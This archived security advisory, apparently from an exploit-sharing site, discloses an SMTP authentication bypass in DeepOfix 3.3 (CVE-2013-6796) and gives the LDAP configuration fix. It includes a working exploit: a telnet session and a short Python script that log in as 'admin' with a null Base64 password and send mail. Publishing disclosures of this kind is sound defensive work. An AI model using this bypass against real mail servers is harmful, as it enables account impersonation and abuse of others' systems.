exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

DeepOfix 3.3 SMTP Authentication Bypass

DeepOfix 3.3 SMTP Authentication Bypass
Posted Nov 18, 2013
Authored by Gerardo Vazquez, Eduardo Arriols | Site pragsis-security.com

DeepOfix versions 3.3 and below suffer from an SMTP server authentication bypass vulnerability due to an LDAP issue. Exploit included.

tags | exploit, bypass
SHA-256 | 24bd2a61ed26e639e6b823b3e2f7cc39031c2662744ed2bbda21195c3924d603

DeepOfix 3.3 SMTP Authentication Bypass

Change Mirror Download
======================================================================================
Vulnerability: Bypass authentication and gain unauthorized access to SMTP server
======================================================================================
Platform: DeepOfix
Version: <= 3.3 (All versions tested)
Vendor: Deep Root Linux - http://www.deeproot.in
Date: 2013/11/06
Discovered by: Gerardo Vazquez, Eduardo Arriols
[Pragsis-Security - http://pragsis-security.com/]
Severity: 7.5/10 (CVSS Base Score)
CVE: 2013-6796
======================================================================================

1. Background
**************************************************************************************
DeepOfix is a free ISO of DeepRootLinux to mount a mail server providing users the
ability to send emails via SMTP, check e-mail via IMAP, access the files via FTP or
SSH...


2. Problem Description
**************************************************************************************
The vulnerability allows an attacker to bypass the authentication in the SMTP server
to send emails. The problem is that the SMTP server performs authentication against
LDAP by default, and the service does not check that the password is null if this
Base64. This creates a connection "anonymous" but with a user account without entering
the password.

It is important to note that the same could be used with other services also
validate against LDAP.


3. Impact
**************************************************************************************
An Attacker could login in the SMTP server knowing only the username of one user in the
server and he could sends emails. One important thing is that the user "admin" always
exists in the server.


4. Expotation
**************************************************************************************
To authenticate against the SMTP server can make the login is done using Base64, so if
you enter the user "admin" and password null or '\0' in Base64 give us access server as
"admin" without checking the password.

The credentials in Base64:

User: "admin" ===> "YWRtaW4="
Password: null ==> "AA=="

Example of how we could authenticate to the system:

test@0-day ~ $ telnet deepofix.local 25
Trying deepofix.local...
Connected to deepofix.local.
Escape character is '^]'.
220 deepofix.local ESMTP
auth login # In ASCCI:
334 VXNlcm5hbWU6 # 334 Username:
YWRtaW4= # admin
334 UGFzc3dvcmQ6 # 334 Password:
AA== # \0
235 nice to meet you

Now we would be authenticated as "admin" so we could send emails from that account.


Simple exploit in Python [exploit.py]:
-----------------------------------------------------------------
| import smtplib |
| |
| # Select the sender and the receivers |
| sender = 'sender@mail' |
| receivers = ['receiver@mail.com'] |
| |
| # Write the message |
| message = """ |
| From: From Sender <sender@mail.com> |
| To: To Receiver <receiver@mail.com> |
| Subject: NSA is watching you! |
| |
| This is a really important message... xD |
| """ |
| |
| # Connect to the SMTP server and send the email |
| try: |
| # server = smtplib.SMTP('deepofix.local', 25) |
| |
| # Auth login --> admin/null in Base64 |
| server.docmd("auth login") |
| server.docmd("YWRtaW4=") |
| server.docmd("AA==") |
| |
| server.sendmail(sender, receivers, message) |
| print "Successfully sent email" |
| |
| except: |
| print "Error: unable to send email" |
-----------------------------------------------------------------


5. Solution
**************************************************************************************
To solve the problem we have only ban the anonymous LDAP bind.

It is done by editing /var/easypush/ldap/etc/openldap/slapd.conf and add
the line "disallow bind_anon". After you restart the ldap service with:
sv term slapd
slapd sv status
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close